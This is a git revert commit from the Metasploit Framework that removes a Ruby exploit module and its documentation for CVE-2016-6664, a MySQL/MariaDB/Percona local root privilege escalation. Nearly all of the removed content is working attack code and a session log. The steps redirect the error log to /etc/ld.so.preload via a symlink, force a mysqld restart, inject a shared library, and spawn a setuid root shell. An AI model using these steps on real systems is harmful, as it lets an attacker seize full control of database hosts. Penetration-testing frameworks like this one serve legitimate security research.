Revert "Land #7605, Mysql privilege escalation, CVE-2016-6664" - premature merge

This reverts commit 92a1c1ece4, reversing
changes made to 9b16cdf602.
bug/bundler_fix
Brent Cook 2017-01-22 19:16:33 -06:00
parent 92a1c1ece4
commit ff2b8dcf99
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
3 changed files with 0 additions and 343 deletions

View File

@ -1,127 +0,0 @@
## Notes
This exploit was tested on ubuntu 14 and 16. As it relies on log file location and service restarting, success on other linux distributions depends greatly.
## Creating A Testing Environment
There are a few requirements for this module to work:
1. mysql must be started by running mysql_safe
2. the error log must be active
3. mysql logging through syslog must not enabled
4. mysql automatic restart must be enabled
Using Ubuntu 16.04:
1. install mariadb - `apt-get -y install mariadb-server`
2. disable syslog - `sed -i -e "s/syslog/#syslog/g" /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf`
3. enable error log - `sed -i -e "s/skip_log_error/#skip_log_error/g" /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf`
4. enable service - `systemctl enable mysql.service`
5. start service - `systemctl start mysql.service`
This module has been tested against the following versions of mysql running on Ubuntu 16.04:
1. MariaDB 10.0.27
On Ubuntu 14.04:
1. MySQL 5.5.35
2. MariaDB 5.5.52
On Debian 8.6
1. MySQL 5.5.53
This module was not tested against, but may work against:
* MySQL
<= 5.5.51
<= 5.6.32
<= 5.7.14
* MariaDB
<= 5.5.50
* Percona Server
< 5.5.51-38.2
< 5.6.32-78-1
< 5.7.14-8
* Percona XtraDB Cluster
< 5.6.32-25.17
< 5.7.14-26.17
< 5.5.41-37.0
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/mysql_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**WritableDir**
A folder we can write files to. Defaults to /tmp
**ErrorLog**
The mysql service error log file. The location of this file is set on the configuration files. Defaults to /var/log/mysql/error.log
**BackdoorShell**
The shell that will be launched using elevated privileges. Defaults to /bin/bash
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. `Auto` will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-21-generic)
### MariaDB 10.0.27 (MariaDB-0ubuntu0.16.04.1)
#### Initial Access
Use whatever means to get a session back to metaploit ith the mysql account, usually dropping a webshell, connecting back to metaploit and escalate to mysql.
#### Escalate to root
msf exploit(mysql_priv_esc) >
[*] Sending stage (36 bytes) to 192.168.205.64
[*] Command shell session 45 opened (192.168.205.52:443 -> 192.168.205.64:51400) at 2016-11-16 21:44:16 +0000
msf exploit(mysql_priv_esc) > set session 45
session => 45
msf exploit(mysql_priv_esc) > run
[+] mysqld_safe is running
[+] The current user is mysql
[*] Checking if gcc are installed
[*] Checking if gcc are installed
[*] Dropping pre-compiled exploit on system
[*] Writing privesclib to /tmp/fYAMgzW5.so
[*] Max line length is 65537
[*] Writing 8240 bytes in 1 chunks of 19877 bytes (octal-encoded), using printf
[*] Seting up the preload trap
[*] cp /bin/bash /tmp/mysqlrootsh
[*] touch -f /var/log/mysql/error.log; mv /var/log/mysql/error.log /var/log/mysql/error.log.tmp && ln -s /etc/ld.so.preload /var/log/mysql/error.log
[*] kill $(pgrep mysqld)
[*] /bin//sh: 27: kill: Operation not permitted
[*] Waiting for mysqld to restart...
[*] Executing escalation.
[*] echo /tmp/fYAMgzW5.so > /etc/ld.so.preload
[*] chmod 755 /etc/ld.so.preload
[*] /usr/bin/sudo 2>/dev/null >/dev/null
[*] /tmp/mysqlrootsh -p -c "rm -f /etc/ld.so.preload; rm -f /tmp/fYAMgzW5.so"
[*] /tmp/mysqlrootsh -p
[*] Cleanup done.
[!] This exploit may require manual cleanup of '/tmp/mysqlrootsh' on the target
msf exploit(mysql_priv_esc) > sessions -i 45 -c "id"
[*] Running 'id' on shell session 45 (192.168.205.64)
uid=112(mysql) gid=121(mysql) euid=0(root) groups=121(mysql)

View File

@ -1,216 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'MySQL / MariaDB / Percona - Root Privilege Escalation',
'Description' => %q{
MySQL-based databases including MySQL, MariaDB and Percona are affected
by a privilege escalation vulnerability which can let attackers who have
gained access to mysql system user to further escalate their privileges
to root user allowing them to fully compromise the system.
},
'License' => MSF_LICENSE,
'Author' =>
[
'x2020 <x2020@gmail.com>', # Module
'Dawid Golunski' # Discovery
],
'DisclosureDate' => 'Nov 01 2016',
'Platform' => [ 'linux'],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
},
'References' =>
[
[ 'EDB', '40679'],
[ 'CVE', '2016-6664'],
[ 'URL', 'https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html']
]
))
register_options(
[
OptString.new('ErrorLog', [ true, 'The error log file', '/var/log/mysql/error.log' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptString.new('BackdoorShell', [ true, 'The shell path', '/bin/bash' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def check_reqs?()
# should have mysqld_safe running
check_command = "if pgrep mysqld; "
check_command << "then echo OK; "
check_command << "fi"
output = cmd_exec(check_command).gsub("\r", '')
vprint_status output
if output['OK'] == 'OK'
vprint_good "mysqld_safe is running"
return true
end
print_error "mysqld process not running"
false
end
def mysql_user?()
# test for mysql user
mysql = cmd_exec("id | grep -E '(mysql)'")
if not mysql.include?("mysql")
print_error "The current session user (#{mysql}) is not mysql"
return false
end
vprint_good "The current user is mysql"
true
end
def preload_exists?()
if exists?("/etc/ld.so.preload")
print_error "Found ld.so.preload. Exiting for safety."
return true
end
false
end
def sudo_exists?()
@sudo = cmd_exec('which sudo')
if @sudo.include?("sudo")
return true
end
false
end
if check_reqs? and mysql_user? and sudo_exists?
if preload_exists?
return CheckCode::Detected
end
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
# first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version.
def has_prereqs?()
vprint_status('Checking if gcc is installed')
if target.name == "Ubuntu"
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
else
return false
end
end
compile = has_prereqs?
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
# build file names and locations
privesclib_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".so"
privescsrc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + ".c"
pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
payload_path = datastore["WritableDir"] + "/" + rand_text_alpha(8)
backdoorsh = datastore["BackdoorShell"]
backdoorpath = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
error_log_file = datastore["ErrorLog"]
# setup the files
rm_f pwn_file
if compile
vprint_status "Writing pwn source to #{privescsrc_file}"
rm_f privescsrc_file
write_file(privescsrc_file, privesclib_file)
cmd_exec("gcc -Wall -fPIC -shared -o #{privesclib_file} #{privescsrc_file} -ldl")
register_file_for_cleanup(privescsrc_file)
else
# privesclib.so file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-6664', '2016-6664.out')
fd = ::File.open( path, "rb")
privesclib = fd.read(fd.stat.size)
fd.close
vprint_status "Writing privesclib to #{privesclib_file}"
backdoorpath = "/tmp/mysqlrootsh" # hardcoded into privesclib.so
write_file(privesclib_file, privesclib)
end
register_file_for_cleanup(backdoorpath)
register_file_for_cleanup(privesclib_file)
# the actual pwning
def do_pwn(privesclib_file, suidbin, backdoorpath, payload_path)
print_status "Executing escalation."
do_cmd_exec("echo #{privesclib_file} > /etc/ld.so.preload")
do_cmd_exec("chmod 755 /etc/ld.so.preload")
do_cmd_exec("#{suidbin} 2>/dev/null >/dev/null")
do_cmd_exec("#{backdoorpath} -p -c \"rm -f /etc/ld.so.preload; rm -f #{privesclib_file}\"")
do_cmd_exec("#{backdoorpath} -p")
end
# reset system state
def do_cleanup(error_log_file)
cmd_exec("rm -f #{error_log_file}")
cmd_exec("mv -f #{error_log_file}.tmp #{error_log_file}")
cmd_exec("if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload; fi")
vprint_status "Cleanup done."
end
# util cmd_exec with verbose print
def do_cmd_exec(cmd)
vprint_status cmd
r = cmd_exec(cmd)
if r != ""
print_status r
end
end
# initial setup for pwning
vprint_status "Seting up the preload trap"
do_cmd_exec("cp #{backdoorsh} #{backdoorpath}")
do_cmd_exec("touch -f #{error_log_file}; mv #{error_log_file} #{error_log_file}.tmp && ln -s /etc/ld.so.preload #{error_log_file}")
do_cmd_exec("kill $(pgrep mysqld)")
# wait for restart
print_status "Waiting for mysqld to restart..."
cmd_exec("while :; do { sleep 0.1; if [ -f /etc/ld.so.preload ]; then { echo #{privesclib_file} > /etc/ld.so.preload; rm -f #{error_log_file}; break; } fi } done", nil, 125)
# pwn the system
do_pwn(privesclib_file, @sudo, backdoorpath, payload_path)
# cleanup the mess
do_cleanup(error_log_file)
end
end